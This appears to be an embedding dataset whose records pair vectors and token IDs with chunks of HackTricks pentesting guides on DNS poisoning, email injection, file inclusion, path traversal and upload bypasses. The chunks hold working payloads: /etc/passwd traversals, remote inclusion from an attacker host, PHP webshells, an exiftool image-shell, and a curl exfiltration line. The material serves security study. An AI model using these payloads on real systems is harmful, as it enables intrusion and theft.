[ 0.43639448285102844, -0.34854573011398315, 0.29717549681663513, 0.4258749485015869, -0.7877588272094727, -0.03481149673461914, -0.3065170347690582, 0.4482271075248718, 0.9335863590240479, 0.6893834471702576, 0.16518966853618622, -0.046983182430267334, -0.00833054631948471, 0.45368552207946...
[ 9262, 22483, 6764, 1999, 1037, 16602, 1012, 4942, 6072, 8162, 3401, 11109, 2001, 3818, 2004, 1037, 7337, 2000, 2421, 19888, 13705, 23325, 2004, 2019, 17961, 11109, 2000, 5896, 6415, 1999, 16129, 2629, 1012, 2043, 1996, 3024, 19888, 13705, 2...
hack_tricks
156.txt
5
vulnerable. com ( nameserver owned by an attacker ), an attacker might provide a fake result which will also be cached. since an attacker is in control of nameserver, she can set ttl for this particular result to be for example one week. the process above is repeated every time the cache entry expires. when an attacker...
[ 0.41082096099853516, -0.5283480286598206, -0.1412859410047531, 1.0040826797485352, -0.1369621753692627, -0.4864184558391571, -0.562208890914917, 0.06142842024564743, 0.1531243771314621, 0.5196287035942078, 0.6755605340003967, -0.4250986576080322, 0.3915310800075531, 0.20935842394828796, ...
[ 8211, 1012, 4012, 1006, 3415, 2121, 6299, 3079, 2011, 2019, 17346, 1007, 1010, 2019, 17346, 2453, 3073, 1037, 8275, 2765, 2029, 2097, 2036, 2022, 17053, 2094, 1012, 2144, 2019, 17346, 2003, 1999, 2491, 1997, 3415, 2121, 6299, 1010, 2016, ...
hack_tricks
156.txt
6
the expired domain. to prevent subdomain takeover in the future, organizations should change the process of creating and destructing resources in their infrastructure. in case of resource creation, the dns record creation has to be the last step of this process. this condition prevents dns record to be pointing to a no...
[ 0.013724926859140396, 0.3515408933162689, -0.19521260261535645, 0.7701218724250793, 0.04994259774684906, -0.5746825337409973, -0.012482949532568455, 0.006061541847884655, 0.8188658952713013, 0.639560341835022, 0.5984939932823181, -0.5934897661209106, 0.5801482200622559, 0.2887495756149292,...
[ 1996, 13735, 5884, 1012, 2000, 4652, 4942, 9527, 8113, 15336, 1999, 1996, 2925, 1010, 4411, 2323, 2689, 1996, 2832, 1997, 4526, 1998, 4078, 26310, 4219, 1999, 2037, 6502, 1012, 1999, 2553, 1997, 7692, 4325, 1010, 1996, 1040, 3619, 2501, 4...
hack_tricks
156.txt
7
[CLS] email injections use trickest to easily build and automate workflows powered by the world's most advanced community tools. inject in sent e - mailinject cc and bcc after sender argumentfrom : [ email protected ] % 0acc : [ email protected ], % 0abcc : [ email protected ] the message will be sent to the recipient ...
[ 0.16720272600650787, -0.09095105528831482, -0.5782531499862671, 0.33170509338378906, -0.6750020384788513, -0.5999714136123657, -0.5809118747711182, 0.3791324496269226, 0.094178706407547, 0.6137405037879944, 0.09441154450178146, 0.8531526327133179, 0.09596605598926544, 0.27663466334342957, ...
[ 101, 10373, 13341, 2015, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 1999, 20614, 1999, 2741, 1041, 1011, 5653, 2378, 20614, 10507, 1998, 4647, ...
hack_tricks
157.txt
0
url mta : url on the origin of the sendmail binary different options have been discovered to abuse them and leak files or even execute arbitrary commands. check how in url in the e - mail nameignored parts of an emailthe symbols : +, - and { } in rare occasions can be used for tagging and ignored by most e - mail serve...
[ -0.1482076197862625, -0.30156925320625305, 0.023506535217165947, 0.3592166602611542, -0.38135501742362976, -0.28778597712516785, -0.1986670047044754, 0.42122483253479004, 0.3472767174243927, 0.761752188205719, -0.18644331395626068, -0.07849028706550598, 0.39341092109680176, -0.339962124824...
[ 24471, 2140, 11047, 2050, 1024, 24471, 2140, 2006, 1996, 4761, 1997, 1996, 4604, 21397, 12441, 2367, 7047, 2031, 2042, 3603, 2000, 6905, 2068, 1998, 17271, 6764, 2030, 2130, 15389, 15275, 10954, 1012, 4638, 2129, 1999, 24471, 2140, 1999, 19...
hack_tricks
157.txt
1
this block by sending hundreds of invitations to nonexistent users and domains : email service dos. [SEP]
[ -0.549067497253418, -0.5226600766181946, 0.31830763816833496, 0.4530831575393677, -0.3744417726993561, -0.41539904475212097, -0.6485070586204529, 1.303702712059021, -0.23090016841888428, 0.8509975671768188, -0.6207379102706909, 0.29695650935173035, 0.09064701199531555, 0.5913681983947754, ...
[ 2023, 3796, 2011, 6016, 5606, 1997, 29492, 2000, 3904, 9048, 16173, 2102, 5198, 1998, 13100, 1024, 10373, 2326, 9998, 1012, 102 ]
hack_tricks
157.txt
2
[CLS] file inclusion / path traversalhackenproof is home to all crypto bug bounties. get rewarded without delays hackenprooffile inclusionremote file inclusion ( rfi ) : the file is loaded from a remote server ( best : you can write the code and the server will execute it ). in php this is disabled by default ( allow _...
[ 0.657441258430481, 0.24710291624069214, 0.19572113454341888, 0.5806935429573059, 0.03423819690942764, -0.3672177195549011, -0.9834011793136597, -0.273600310087204, 0.25376614928245544, 0.7158163189888, 0.30074238777160645, 0.1846528947353363, 0.4326363801956177, -0.4319151043891907, -0.5...
[ 101, 5371, 10502, 1013, 4130, 29053, 2389, 3270, 19766, 18907, 2003, 2188, 2000, 2035, 19888, 2080, 11829, 8945, 16671, 3111, 1012, 2131, 14610, 2302, 14350, 20578, 2368, 18907, 8873, 2571, 10502, 28578, 12184, 5371, 10502, 1006, 21792, 2072,...
hack_tricks
158.txt
0
. \ /.... \ /.... \ / etc / passwdhttp : / / some. domain. com / static / % 5c.. % 5c.. % 5c.. % 5c.. % 5c.. % 5c.. % 5c.. % 5c / etc / passwdnull byte ( % 00 ) bypass the append more chars at the end of the provided string ( bypass of : $ _ get ['param']. " php " ) http : / / example. com / index. php? page =.. /.. /....
[ 0.0765133872628212, 0.029459737241268158, 0.2587259113788605, 0.07677001506090164, -0.22011636197566986, -0.17091497778892517, -0.3476722240447998, 0.010586940683424473, 0.20297211408615112, 1.2903879880905151, 0.46672335267066956, -0.11953897029161453, 0.3195810317993164, -0.4953688383102...
[ 1012, 1032, 1013, 1012, 1012, 1012, 1012, 1032, 1013, 1012, 1012, 1012, 1012, 1032, 1013, 4385, 1013, 3413, 21724, 11039, 25856, 1024, 1013, 1013, 2070, 1012, 5884, 1012, 4012, 1013, 10763, 1013, 1003, 1019, 2278, 1012, 1012, 1003, 1019, ...
hack_tricks
158.txt
1
: http : / / example. com / index. php? page = private /.. /.. /.. /.. / etc / passwd # we went deeper down one level, so we have to go 3 + 1 = 4 levels up to go back to / etc / passwd if the application is vulnerable, there might be two different outcomes to the request : if you get an error / no output, the private f...
[ 0.4595014154911041, -0.22168463468551636, 0.13192987442016602, 0.37732023000717163, -0.4808715283870697, -0.4403351843357086, -0.4209705889225006, 0.14437474310398102, -0.20630046725273132, 1.1916289329528809, 0.4554733633995056, -0.16708402335643768, 0.7831897735595703, -0.145795345306396...
[ 1024, 8299, 1024, 1013, 1013, 2742, 1012, 4012, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 2797, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 4385, 1013, 3413, 21724, 1001, 2057, 2253, 6748, 2091, 2028, 25...
hack_tricks
158.txt
2
check if last 4 chars are ". php " - - > shellcode. php /. http : / / example. com / index. php? page = a /.. /.. /.. /.. /.. /.. /.. /.. /.. / etc / passwd.. \. \. \. \. \. \. \. \. \. \. \ [ add more ] \. \. http : / / example. com / index. php? page = a /.. /.. /.. /.. /.. /.. /.. /.. /.. / etc / passwd /. /. /. [ a...
[ 0.16215009987354279, 0.21344655752182007, -0.2821686267852783, 0.4506117105484009, 0.2690982222557068, -0.1411859393119812, -0.31022197008132935, 0.6595860123634338, 0.19478102028369904, 1.3448868989944458, 0.22380080819129944, 0.3746577501296997, 0.418940007686615, -0.5511407256126404, ...
[ 4638, 2065, 2197, 1018, 25869, 2015, 2024, 1000, 1012, 25718, 1000, 1011, 1011, 1028, 5806, 16044, 1012, 25718, 1013, 1012, 8299, 1024, 1013, 1013, 2742, 1012, 4012, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 1037, 1013, 1012, 1012, 1013, ...
hack_tricks
158.txt
3
in that case you could include a php file from your server and get rce : http : / / example. com / index. php? page = http : / / atacker. com / mal. phphttp : / / example. com / index. php? page = \ \ attacker. com \ shared \ mal. phpif for some reason allow _ url _ include is on, but php is filtering access to externa...
[ 0.004522934090346098, 0.09562532603740692, -0.06858208030462265, 0.39879000186920166, -0.3231298327445984, -0.099567711353302, -0.2097145915031433, -0.24949774146080017, 0.40055304765701294, 1.412980556488037, 0.46447715163230896, -0.13319341838359833, 0.32137104868888855, -0.3253578543663...
[ 1999, 2008, 2553, 2017, 2071, 2421, 1037, 25718, 5371, 2013, 2115, 8241, 1998, 2131, 22110, 2063, 1024, 8299, 1024, 1013, 1013, 2742, 1012, 4012, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 8299, 1024, 1013, 1013, 29533, 9102, 1012, 4012, ...
hack_tricks
158.txt
4
25 parametershere ’ s list of top 25 parameters that could be vulnerable to local file inclusion ( lfi ) vulnerabilities ( from link ) :? cat = { payload }? dir = { payload }? action = { payload }? board = { payload }? date = { payload }? detail = { payload }? file = { payload }? download = { payload }? path = { payloa...
[ 0.5131598114967346, -0.26506343483924866, -0.048766735941171646, 0.9677196145057678, -0.25510174036026, 0.1124734953045845, -0.34362658858299255, -0.07614466547966003, 0.47911518812179565, 0.20767904818058014, 0.3270580768585205, -0.14554648101329803, -0.04917553439736366, -0.0396769642829...
[ 2423, 11709, 5886, 2063, 1521, 1055, 2862, 1997, 2327, 2423, 11709, 2008, 2071, 2022, 8211, 2000, 2334, 5371, 10502, 1006, 1048, 8873, 1007, 24728, 19666, 6906, 14680, 1006, 2013, 4957, 1007, 1024, 1029, 4937, 1027, 1063, 18093, 1065, 1029,...
hack_tricks
158.txt
5
: reverses http chunked encodingconvert. * # string filters # # chain string. toupper, string. rot13 and string. tolower reading / etc / passwdecho file _ get _ contents ( " php : / / filter / read = string. toupper | string. rot13 | string. tolower / resource = file : / / / etc / passwd " ) ; # # same chain without th...
[ 0.10468783974647522, -0.47085142135620117, 0.22362020611763, 0.1493910700082779, 0.34575891494750977, -0.49572715163230896, -0.381054162979126, 0.40389326214790344, 0.5008456707000732, 0.26003482937812805, -0.20871186256408691, -0.2124931812286377, 0.33004307746887207, -0.06847162544727325...
[ 1024, 7901, 2015, 8299, 20000, 2098, 17181, 8663, 16874, 1012, 1008, 1001, 5164, 17736, 1001, 1001, 4677, 5164, 1012, 2000, 29547, 2099, 1010, 5164, 1012, 18672, 17134, 1998, 5164, 1012, 2000, 27663, 2099, 3752, 1013, 4385, 1013, 3413, 2172...
hack_tricks
158.txt
6
resource = test. deflated') ; # to decompress the data locally # note that php protocol is case - inselective ( that's mean you can use " php : / / " and any other varient ) the part " php : / / filter " is case insensitivephp : / / fdthis wrapper allows to access file descriptors that the process has open. potentially...
[ 0.6042370796203613, -0.17226770520210266, 0.47377872467041016, 1.0120145082473755, -0.35382696986198425, -0.2070014923810959, -0.6996264457702637, -0.1965600699186325, 0.10349824279546738, 0.9925919771194458, 0.6489231586456299, 0.05176752060651779, 0.6409649848937988, -0.538390040397644, ...
[ 7692, 1027, 3231, 1012, 13366, 13776, 1005, 1007, 1025, 1001, 2000, 21933, 8737, 8303, 1996, 2951, 7246, 1001, 3602, 2008, 25718, 8778, 2003, 2553, 1011, 16021, 12260, 15277, 1006, 2008, 1005, 1055, 2812, 2017, 2064, 2224, 1000, 25718, 1024...
hack_tricks
158.txt
7
##obyanu2hlbgwgzg9uzsahjzsgpz4 = http : / / example. net /? page = data : text / plain, <? php echo base64 _ encode ( file _ get _ contents ( " index. php " ) ) ;? > http : / / example. net /? page = data : text / plain, <? php phpinfo ( ) ;? > http : / / example. net /? page = data : text / plain ; base64, pd9wahagc3l...
[ 0.0380864292383194, -0.09498199820518494, 0.015674924477934837, 0.7259471416473389, -0.17452028393745422, -0.12730473279953003, -0.6276194453239441, 0.07840078324079514, 0.37926095724105835, 0.5212485194206238, 0.2792908251285553, -0.11216699331998825, 0.1901092678308487, -0.16410027444362...
[ 16429, 7054, 2226, 2475, 7317, 2497, 2290, 27767, 2480, 2290, 2683, 17040, 3736, 2232, 3501, 2480, 28745, 2361, 2480, 2549, 1027, 8299, 1024, 1013, 1013, 2742, 1012, 5658, 1013, 1029, 3931, 1027, 2951, 1024, 3793, 1013, 5810, 1010, 1026, ...
hack_tricks
158.txt
8
generated that you can use to abuse the lfi. if the lfi is just reading the file and not executing the php code inside of it, for example using functions like file _ get _ contents ( ), fopen ( ), file ( ) or file _ exists ( ), md5 _ file ( ), filemtime ( ) or filesize ( ). you can try to abuse a deserialization occurr...
[ 0.04503921419382095, 0.3611493408679962, 0.2680782377719879, 0.6843990683555603, -0.6510304808616638, -0.3382229804992676, -0.42631641030311584, 0.11189553141593933, 0.17896507680416107, 1.4560503959655762, 0.26381438970565796, 0.18204070627689362, 0.2861311137676239, -0.3655245006084442, ...
[ 7013, 2008, 2017, 2064, 2224, 2000, 6905, 1996, 1048, 8873, 1012, 2065, 1996, 1048, 8873, 2003, 2074, 3752, 1996, 5371, 1998, 2025, 23448, 1996, 25718, 3642, 2503, 1997, 2009, 1010, 2005, 2742, 2478, 4972, 2066, 5371, 1035, 2131, 1035, 84...
hack_tricks
158.txt
9
) ) but the content is not shown. in this incredible post it's explained how a blind path traversal can be abused via php filter to exfiltrate the content of a file via an error oracle. as sumary, the technique is using the " ucs - 4le " encoding to make the content of a file so big that the php function opening the fi...
[ 0.12123113870620728, 0.027279948815703392, 0.49717074632644653, 1.1052534580230713, -0.24256953597068787, -0.6617629528045654, -0.19008928537368774, -0.2097582370042801, 0.38548845052719116, 0.8280320167541504, 0.36639466881752014, 0.2488972395658493, 0.7785016894340515, -0.236959680914878...
[ 1007, 1007, 2021, 1996, 4180, 2003, 2025, 3491, 1012, 1999, 2023, 9788, 2695, 2009, 1005, 1055, 4541, 2129, 1037, 6397, 4130, 29053, 2389, 2064, 2022, 16999, 3081, 25718, 11307, 2000, 4654, 8873, 7096, 11657, 1996, 4180, 1997, 1037, 5371, ...
hack_tricks
158.txt
10
other possible log paths : / var / log / apache2 / access. log / var / log / apache / access. log / var / log / apache2 / error. log / var / log / apache / error. log / usr / local / apache / log / error _ log / usr / local / apache2 / log / error _ log / var / log / nginx / access. log / var / log / nginx / error. log...
[ 0.05704180523753166, 0.313053697347641, 0.0577201247215271, 0.6301589608192444, -0.32366639375686646, 0.0332832895219326, -0.6448221802711487, 0.6394686698913574, 0.5293100476264954, 0.9650716185569763, 0.7014545798301697, 0.7154753804206848, 0.27942055463790894, 0.07102571427822113, -0....
[ 2060, 2825, 8833, 10425, 1024, 1013, 13075, 1013, 8833, 1013, 15895, 2475, 1013, 3229, 1012, 8833, 1013, 13075, 1013, 8833, 1013, 15895, 1013, 3229, 1012, 8833, 1013, 13075, 1013, 8833, 1013, 15895, 2475, 1013, 7561, 1012, 8833, 1013, 13075...
hack_tricks
158.txt
11
##ndg3qbarhsbm27 ; path = / set - cookie : user = admin ; expires = mon, 13 - aug - 2018 20 : 21 : 29 gmt ; path = / ; url php these sessions are stored into / var / lib / php5 / sess \ [ phpsessid ] _ files / var / lib / php5 / sess _ i56kgbsq9rm8ndg3qbarhsbm27. user _ ip | s : 0 : " " ; loggedin | s : 0 : " " ; lang ...
[ 0.31654036045074463, 0.4108878970146179, 0.0961870402097702, 0.4870951771736145, -0.008675236254930496, -0.7397779822349548, -0.29584887623786926, 0.311938613653183, 0.23032554984092712, 0.7444868683815002, 0.16297011077404022, -0.1431262344121933, 0.7444685697555542, -0.6317326426506042, ...
[ 4859, 2290, 2509, 4160, 8237, 7898, 25526, 22907, 1025, 4130, 1027, 1013, 2275, 1011, 17387, 1024, 5310, 1027, 4748, 10020, 1025, 4654, 20781, 2015, 1027, 12256, 1010, 2410, 1011, 15476, 1011, 2760, 2322, 1024, 2538, 1024, 2756, 13938, 2102...
hack_tricks
158.txt
12
/ / filter / convert. base64 - decode / resource = data : / / plain / text, pd9wahagc3lzdgvtkcrfr0vuwydjbwqnxsk7zwnobyanu2hlbgwgzg9uzsahjzsgpz4 +. phpnote : the payload is " <? php system ( $ _ get ['cmd'] ) ; echo'shell done!';? > " via php filters ( no file needed ) this writeup explains that you can use php filters ...
[ 0.19692882895469666, 0.6712349057197571, 0.09396634250879288, 0.7733700275421143, -0.5986001491546631, -0.537287175655365, -0.7142980694770813, -0.3053855299949646, 0.19712327420711517, 1.0299081802368164, 0.4387410581111908, 0.02295161411166191, 0.520734965801239, -0.31752246618270874, ...
[ 1013, 1013, 11307, 1013, 10463, 1012, 2918, 21084, 1011, 21933, 3207, 1013, 7692, 1027, 2951, 1024, 1013, 1013, 5810, 1013, 3793, 1010, 22851, 2683, 4213, 3270, 18195, 2509, 23858, 2094, 2290, 2615, 2102, 2243, 26775, 19699, 2692, 19722, 18...
hack_tricks
158.txt
13
compress. zlib + php _ stream _ prefer _ studio + path disclosurevia eternal waiting + bruteforceif you can abuse the lfi to upload temporary files and make the server hang the php execution, you could then brute force filenames during hours to find the temporary file : lfi2rce via eternal waitingto fatal errorif you i...
[ -0.1242624893784523, 0.547867476940155, 0.5172377824783325, 0.352371484041214, -0.5371330380439758, -0.5098968148231506, -0.44786643981933594, 0.13829413056373596, 0.3463591933250427, 1.0162019729614258, 0.668526828289032, 0.504139244556427, 0.5100634098052979, -0.21356579661369324, -0.3...
[ 4012, 20110, 1012, 1062, 29521, 1009, 25718, 1035, 5460, 1035, 9544, 1035, 2996, 1009, 4130, 19380, 9035, 10721, 3403, 1009, 26128, 14821, 10128, 2017, 2064, 6905, 1996, 1048, 8873, 2000, 2039, 11066, 5741, 6764, 1998, 2191, 1996, 8241, 686...
hack_tricks
158.txt
14
[CLS] file uploadregister - register - file upload general methodologyother useful extensions : php :. php,. php2,. php3,. php4,. php5,. php6,. php7,. phps,. phps,. pht,. phtm,. phtml,. pgif,. shtml,. htaccess,. phar,. inc,. hphp,. ctp,. moduleworking in phpv8 :. php,. php4,. php5,. phtml,. module,. inc,. hphp,. ctpasp...
[ -0.35572052001953125, 0.39189618825912476, -0.04756765812635422, 0.4297378659248352, -0.10221974551677704, 0.20566363632678986, -0.20544254779815674, 0.6642685532569885, 0.5938920378684998, 0.6042672991752625, 0.4069049060344696, -0.22764527797698975, 0.1185988113284111, 0.0635140538215637...
[ 101, 5371, 2039, 11066, 2890, 24063, 2121, 1011, 4236, 1011, 5371, 2039, 11066, 2236, 16134, 14573, 2121, 6179, 14305, 1024, 25718, 1024, 1012, 25718, 1010, 1012, 25718, 2475, 1010, 1012, 25718, 2509, 1010, 1012, 25718, 2549, 1010, 1012, 25...
hack_tricks
159.txt
0
##5file. php #. pngfile. php % 00. pngfile. php \ x00. pngfile. php % 0a. pngfile. php % 0d % 0a. pngfile. phpjunk123png5. add another layer of extensions to the previous check : file. png. jpg. phpfile. php % 00. png % 00. jpg6. try to put the exec extension before the valid extension and pray so the server is misconf...
[ 0.4329316318035126, 0.4637797176837921, 0.25924134254455566, 0.6920188665390015, -0.027274277061223984, -0.29196417331695557, 0.009251353330910206, 0.7132575511932373, 0.6739129424095154, 0.572544276714325, 0.5936910510063171, 0.29931631684303284, 0.5428391098976135, -0.12763312458992004, ...
[ 2629, 8873, 2571, 1012, 25718, 1001, 1012, 1052, 3070, 8873, 2571, 1012, 25718, 1003, 4002, 1012, 1052, 3070, 8873, 2571, 1012, 25718, 1032, 1060, 8889, 1012, 1052, 3070, 8873, 2571, 1012, 25718, 1003, 1014, 2050, 1012, 1052, 3070, 8873, ...
hack_tricks
159.txt
1
confuse the file command ). or introduce the shell inside the metadata : exiftool - comment = " <? php echo'command :'; if ( $ _ post ) { system ( $ _ post ['cmd'] ) ; } _ _ halt _ compiler ( ) ; " img. jpg \ or you could also introduce the payload directly in an image : echo'<? php system ( $ _ request ['cmd'] ) ;? >'...
[ 0.2980704605579376, 0.33698996901512146, 0.44505923986434937, 0.8140861392021179, -0.7188653945922852, 0.03737637400627136, -0.4131440222263336, -0.3364737927913666, 0.5854511857032776, 1.0532714128494263, 0.6039645671844482, -0.09384067356586456, 0.21040984988212585, -0.41189467906951904,...
[ 28679, 1996, 5371, 3094, 1007, 1012, 2030, 8970, 1996, 5806, 2503, 1996, 27425, 1024, 4654, 10128, 3406, 4747, 1011, 7615, 1027, 1000, 1026, 1029, 25718, 9052, 1005, 3094, 1024, 1005, 1025, 2065, 1006, 1002, 1035, 2695, 1007, 1063, 2291, ...
hack_tricks
159.txt
2
##1, com2, com3, com4, com5, com6, com7, com8, com9, lpt1, lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8, and lpt9. try also to upload an executable (. exe ) or an. html ( less suspicious ) that will execute code when accidentally opened by victim. special extension tricksif you are trying to upload files to a php server, t...
[ 0.02635783515870571, -0.16677118837833405, 0.13937893509864807, 0.2195688635110855, -0.5921329855918884, -0.1710364818572998, -0.58039790391922, 0.02051438018679619, 0.15547844767570496, 0.8442525863647461, 0.11264018714427948, 0.08418647199869156, 0.3755693733692169, -0.17541208863258362,...
[ 2487, 1010, 4012, 2475, 1010, 4012, 2509, 1010, 4012, 2549, 1010, 4012, 2629, 1010, 4012, 2575, 1010, 4012, 2581, 1010, 4012, 2620, 1010, 4012, 2683, 1010, 6948, 2102, 2487, 1010, 6948, 2102, 2475, 1010, 6948, 2102, 2509, 1010, 6948, 2102...
hack_tricks
159.txt
3
@ ( fd : / / [ redacted ] ) ; read from a process stdoutbody = @ ( exec : / / whoami ) ; curl to exfil via collaboratorextra = @ ( exec : / / curl url call a function returning a char * characters = @ ( call : / / uwsgi _ func ) when the configuration file will be parsed payload will be executed. note that for the conf...
[ 0.2141488939523697, -0.3368689715862274, -0.22931285202503204, 0.5961173176765442, -0.410993754863739, 0.1746966391801834, -0.5263808965682983, -0.1025698333978653, 0.16969116032123566, 0.7140675187110901, 0.0910867378115654, 0.19055482745170593, 0.5103092193603516, -0.5960127115249634, ...
[ 1030, 1006, 1042, 2094, 1024, 1013, 1013, 1031, 2417, 18908, 2098, 1033, 1007, 1025, 3191, 2013, 1037, 2832, 2358, 26797, 2102, 23684, 1027, 1030, 1006, 4654, 8586, 1024, 1013, 1013, 23281, 4328, 1007, 1025, 15390, 2000, 4654, 8873, 2140, ...
hack_tricks
159.txt
4
. 200 oklength : 10 [ image / gif ] saving to : ‘ [UNK]. php ’ aaaaaaaaaaaaaaaaaaaaaaaaaaaaa 100 % [ = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = > ] 10 - -. - kb / s in 0s 2020 - 06 - 13 03 : 14 : 06 ( 1. 96 mb / s ) - ‘ [UNK]. php ’ saved [ 10 / 10 ] note that another ...
[ 0.20107144117355347, -0.3678426146507263, 0.007510623894631863, 0.40201860666275024, -0.6942353844642639, -0.215266153216362, -0.21192491054534912, 0.16292843222618103, 0.23213203251361847, 1.4089943170547485, 0.3792617619037628, 0.16119351983070374, 0.7618942260742188, -0.4372146427631378...
[ 1012, 3263, 7929, 7770, 13512, 2232, 1024, 2184, 1031, 3746, 1013, 21025, 2546, 1033, 7494, 2000, 1024, 1520, 100, 1012, 25718, 1521, 13360, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 11057, 2531, 1003...
hack_tricks
159.txt
5
##ss in image ( svg ) file uploadjs file upload + xss = service workers exploitationxxe in svg uploadopen redirect via uploading svg filetry different svg payloads from url imagetrick vulnerabilityif you can indicate the web server to catch an image from a url you could try to abuse a ssrf. if this image is going to be...
[ 0.13549955189228058, 0.1735493540763855, -0.004272759892046452, 0.18094423413276672, -0.4880715608596802, -0.026414034888148308, -0.38181671500205994, 0.19973963499069214, 0.25364890694618225, 0.9391179084777832, 0.35494399070739746, 0.15836064517498016, 0.5844902396202087, 0.1556918621063...
[ 4757, 1999, 3746, 1006, 17917, 2290, 1007, 5371, 2039, 11066, 22578, 5371, 2039, 11066, 1009, 1060, 4757, 1027, 2326, 3667, 14427, 20348, 2063, 1999, 17917, 2290, 2039, 11066, 26915, 2417, 7442, 6593, 3081, 2039, 18570, 17917, 2290, 5371, 1...
hack_tricks
159.txt
6
##inkupload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files : ln - s.. /.. /.. / index. php symindex. txtzip - - symlinks test. zip symindex. txttar - cvf test. tar symindex. txtdecompress in different foldersthe decompressed files will be created in ...
[ -0.007823075167834759, -0.22299301624298096, 0.08285439014434814, 0.8578405380249023, -0.16101062297821045, -0.18565382063388824, -0.7040107250213623, 0.3264593183994293, 0.03569652885198593, 1.0932902097702026, 0.3972354531288147, 0.4736003875732422, 0.32649531960487366, 0.048619735985994...
[ 19839, 6279, 11066, 1037, 4957, 4820, 3730, 6971, 2000, 2060, 6764, 1010, 2059, 1010, 3229, 2075, 1996, 21933, 8737, 16119, 6764, 2017, 2097, 3229, 1996, 5799, 6764, 1024, 1048, 2078, 1011, 1055, 1012, 1012, 1013, 1012, 1012, 1013, 1012, ...
hack_tricks
159.txt
7
; system ( $ cmd ) ; }? > 1. use “ file spraying ” and create a compressed zip file : root @ s2crew : / tmp # for i in ` seq 1 10 ` ; do file = $ file " xxa " ; cp simple - backdoor. php $ file " cmd. php " ; doneroot @ s2crew : / tmp # ls *. phpsimple - backdoor. php xxaxxaxxacmd. php xxaxxaxxaxxaxxaxxacmd. php xxaxxa...
[ 0.33018144965171814, 0.06057977303862572, -0.31316667795181274, 0.9034045934677124, -0.20587073266506195, -0.06273415684700012, -0.42922845482826233, 0.4193154573440552, 0.3111015558242798, 0.5174058675765991, 0.2642005681991577, 0.4375399649143219, 0.6839827299118042, -0.01766646280884742...
[ 1025, 2291, 1006, 1002, 4642, 2094, 1007, 1025, 1065, 1029, 1028, 1015, 1012, 2224, 1523, 5371, 29035, 1524, 1998, 3443, 1037, 16620, 14101, 5371, 1024, 7117, 1030, 1055, 2475, 16748, 2860, 1024, 1013, 1056, 8737, 1001, 2005, 1045, 1999, ...
hack_tricks
159.txt
8
application decompress it! if it is succeeds and the web server has sufficient privileges to write the directories there will be a simple os command execution shell on the system : reference : url this content with an image extension to exploit the vulnerability ( imagemagick, 7. 0. 1 - 1 ) push graphic - contextviewbo...
[ 0.2531154751777649, 0.12190679460763931, 0.19773578643798828, 0.2399333119392395, -0.2317235767841339, -0.36292529106140137, -1.0105584859848022, 0.48912253975868225, 0.20720940828323364, 1.370139718055725, 0.26004308462142944, 0.22503864765167236, 0.7811304926872253, -0.0880594551563263, ...
[ 4646, 21933, 8737, 8303, 2009, 999, 2065, 2009, 2003, 21645, 1998, 1996, 4773, 8241, 2038, 7182, 14310, 2000, 4339, 1996, 2472, 3111, 2045, 2097, 2022, 1037, 3722, 9808, 3094, 7781, 5806, 2006, 1996, 2291, 1024, 4431, 1024, 24471, 2140, 2...
hack_tricks
159.txt
9